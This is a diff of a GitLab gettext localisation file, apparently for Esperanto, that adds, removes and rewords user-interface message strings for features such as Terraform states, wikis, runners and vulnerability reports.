@@ -22521,6 +23028,11 @@ msgstr ""
msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -22572,6 +23084,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22602,12 +23117,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr ""
@@ -22635,6 +23156,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22668,10 +23192,10 @@ msgstr ""
msgid "Repository storage"
msgstr ""
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -22789,12 +23313,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr ""
@@ -22921,6 +23451,9 @@ msgstr ""
msgid "Retry"
msgstr ""
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
@@ -22959,6 +23492,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -22979,6 +23515,9 @@ msgstr[1] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr ""
@@ -23048,6 +23587,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -23111,12 +23653,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23144,9 +23680,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23249,12 +23782,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr ""
@@ -23273,7 +23800,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr "Konservi ĉenstablan planon"
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23330,15 +23857,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -23441,6 +23962,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23480,9 +24004,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23562,6 +24083,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23748,6 +24272,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -23912,6 +24439,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -24029,9 +24562,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24374,12 +24904,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24422,21 +24946,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr "kreos pasvorton"
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr ""
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr ""
@@ -24455,6 +24988,9 @@ msgstr ""
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr ""
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr ""
@@ -24551,9 +25087,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24608,13 +25141,16 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24643,6 +25179,9 @@ msgid_plural "Showing %d events"
msgstr[0] "Estas montrata %d evento"
msgstr[1] "Estas montrataj %d eventoj"
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -24738,10 +25277,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -24792,6 +25334,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -24903,9 +25448,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -24951,7 +25493,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -25032,10 +25574,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25317,10 +25862,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25344,6 +25889,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr ""
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25461,9 +26009,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25623,6 +26168,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -25791,6 +26348,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -25800,6 +26360,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -25848,6 +26411,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -26022,6 +26588,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26190,9 +26759,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr ""
@@ -26232,6 +26798,9 @@ msgstr ""
msgid "Terms of Service and Privacy Policy"
msgstr ""
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26242,24 +26811,48 @@ msgid_plural "Terraform|%{number} Terraform reports were generated in your pipel
msgstr[0] ""
msgstr[1] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26280,6 +26873,12 @@ msgstr[1] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26307,6 +26906,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26337,6 +26939,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26432,9 +27037,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26444,10 +27046,10 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
-msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
msgstr ""
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
@@ -26516,9 +27118,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26560,6 +27159,9 @@ msgstr "La rilato de disbranĉigo estis forigita."
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26608,6 +27210,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr "La etapo de la problemo montras kiom la tempo pasas de la kreado de problemo Äis la atribuado de la problemo al cela etapo de la projekto, aÅ­ al listo sur la problemtabulo. Komencu krei problemojn por vidi la datenojn por ĉi tiu etapo."
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26653,6 +27261,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -26764,6 +27375,9 @@ msgstr "La etapo de preparo por eldono montras la tempon inter la aplikado de la
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr "La etapo de testado montras kiom da tempo necesas al „GitLab CI“ por plenumi ĉiujn ĉenstablojn por la rilata peto pri kunfando. La datenoj aldoniÄos aÅ­tomate post kiam via unua ĉenstablo finiÄos."
@@ -26773,7 +27387,7 @@ msgstr "La tempo, kiu estas necesa por ĉiu dateno kolektita de la etapo."
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -26785,9 +27399,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -26803,6 +27414,9 @@ msgstr "La valoro, kiu troviÄas en la mezo de aro da rigardataj valoroj. Ekzemp
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -26890,6 +27504,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27205,9 +27822,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27217,9 +27831,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27262,6 +27873,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27325,7 +27939,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27334,9 +27948,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27451,7 +28062,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27472,9 +28083,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27553,6 +28161,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27598,6 +28209,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -27898,6 +28512,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] "h"
@@ -27914,6 +28531,9 @@ msgstr "s"
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -28049,7 +28669,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28148,6 +28768,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28490,6 +29113,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28556,7 +29182,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28628,10 +29254,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -28826,9 +29452,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -28847,6 +29470,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr "AlÅuti dosieron"
@@ -28883,6 +29509,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -28973,6 +29602,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -29120,6 +29752,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29177,6 +29815,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr ""
@@ -29222,6 +29863,9 @@ msgstr ""
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr ""
@@ -29252,6 +29896,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29288,6 +29935,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
@@ -29330,15 +29980,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29408,7 +30058,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29487,6 +30137,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29544,6 +30197,9 @@ msgstr ""
msgid "View replaced file @ "
msgstr ""
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29637,9 +30293,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -29745,6 +30398,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -29793,10 +30452,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -29811,6 +30467,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -29835,6 +30494,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -29964,6 +30626,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -29979,6 +30644,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30060,12 +30728,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30122,7 +30796,13 @@ msgstr ""
msgid "Wiki"
msgstr ""
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30278,6 +30958,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30359,9 +31042,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
@@ -30371,6 +31051,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30416,6 +31099,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30575,6 +31261,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30617,6 +31306,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
